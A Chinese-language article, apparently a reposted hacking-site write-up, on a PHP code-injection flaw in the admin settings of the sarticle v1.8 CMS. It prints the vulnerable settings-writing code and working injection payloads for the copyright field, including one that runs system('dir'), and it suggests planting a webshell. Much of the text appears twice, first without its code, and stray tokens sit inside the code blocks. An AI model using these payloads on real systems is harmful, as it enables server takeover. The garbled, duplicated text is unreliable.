sarticle文章管理系统存在安全隐患
近日学习PHP编程,想找一些代码参考,在朋友的建议下下载了安全天使的sarticle v1.8学习。安全天使对自己的程序非常有自信,但是人就难免会有大意的时间,由于水平有限看了一半也没有发现有什么太大的问题。但看到后台的时间发现了一个问题。通过这个bug可以
得到系统仍至服务器的控制权。
大家请看下面代码:
好像没有什么问题,刚开始我也这么认为,但后来我在测试安全性时发现有问题。下面这些代码把插入数据库的变量都过滤了,应该不会有什么问题了,但问题就出来这里。
下面让我们来试一试,进入后台基本设置,在文章系统的版权信息中填入版权信息如www.5iuu.com,这些随便写,重要的是你写入下面
代码:
也没什么作用,就是输出服务器的操作系统。这样一来settings.php中的$configuration[copyright]变量值就变成了:
而这些原本是不该这样的,''和“应该被过滤掉,理论上应该是:
好像
中addslashes()没有起到作用,到底是为什么没起到作用我也搞不明白,毕竟我也是刚学这个。
先不管这些现在我们随便点开那个页面,都会在页面的左上角发现:WINNT(我是在这下测试的:))
再写入下面代码:
得到系统仍至服务器的控制权。
大家请看下面代码:
| if($_POST[''action''] == "update") { //更新数据库 foreach ($_POST[''config''] AS $name=>$value) { $DB->query("UPDATE ".$db_prefix."setting SET value=''".trim(addslashes($value))."'' WHERE name=''".addslashes($name)."''"); } //将配置信息写入配置文件 $config_filename = "settings.php"; $fp = fopen($config_filename,w); $contents = "<?php\n\n\n"; 字串4 $settings = $DB->query("SELECT * FROM ".$db_prefix."setting"); while ($setting = $DB->fetch_array($settings)) { $contents .= "/*##### $setting[title] #####*/\n"; $setting[''value'']=addslashes($setting[''value'']); $contents .= "\$configuration[$setting[name]] = \"".$setting[''value'']."\";\n\n\n"; } $contents .= "?>"; fwrite($fp,$contents); fclose($fp); // redirect("更新常规信息成功!", "./configurate.php"); } //end update |
好像没有什么问题,刚开始我也这么认为,但后来我在测试安全性时发现有问题。下面这些代码把插入数据库的变量都过滤了,应该不会有什么问题了,但问题就出来这里。
| $DB->query("UPDATE ".$db_prefix."setting SET value=''".trim(addslashes($value))."'' WHERE name=''".addslashes($name)."''"); |
字串6
下面让我们来试一试,进入后台基本设置,在文章系统的版权信息中填入版权信息如www.5iuu.com,这些随便写,重要的是你写入下面
代码:
| ";echo PHP_OS;" |
也没什么作用,就是输出服务器的操作系统。这样一来settings.php中的$configuration[copyright]变量值就变成了:
| $configuration[copyright] = "www.5iuu.com";echo PHP_OS;""; |
而这些原本是不该这样的,''和“应该被过滤掉,理论上应该是:
| $configuration[copyright] = "www.5iuu.com\";echo PHP_OS;\""; |
好像
| $DB->query("UPDATE ".$db_prefix."setting SET value=''".addslashes(trim($value))."''WHERE 字串8 name=''".addslashes($name)."''"); |
中addslashes()没有起到作用,到底是为什么没起到作用我也搞不明白,毕竟我也是刚学这个。
先不管这些现在我们随便点开那个页面,都会在页面的左上角发现:WINNT(我是在这下测试的:))
再写入下面代码:
| "; $c="dir"; system($c); " |
正确执行,到了这里我想不用我说太多了吧,也就是说你可以写入任意PHP代码,程序都会给你执行了。要不放个webshell进去?:)
文章来源地址:http://www.hackhome.com/html/wlcl/wlaq/2006/0610/26661.html
0
相关文章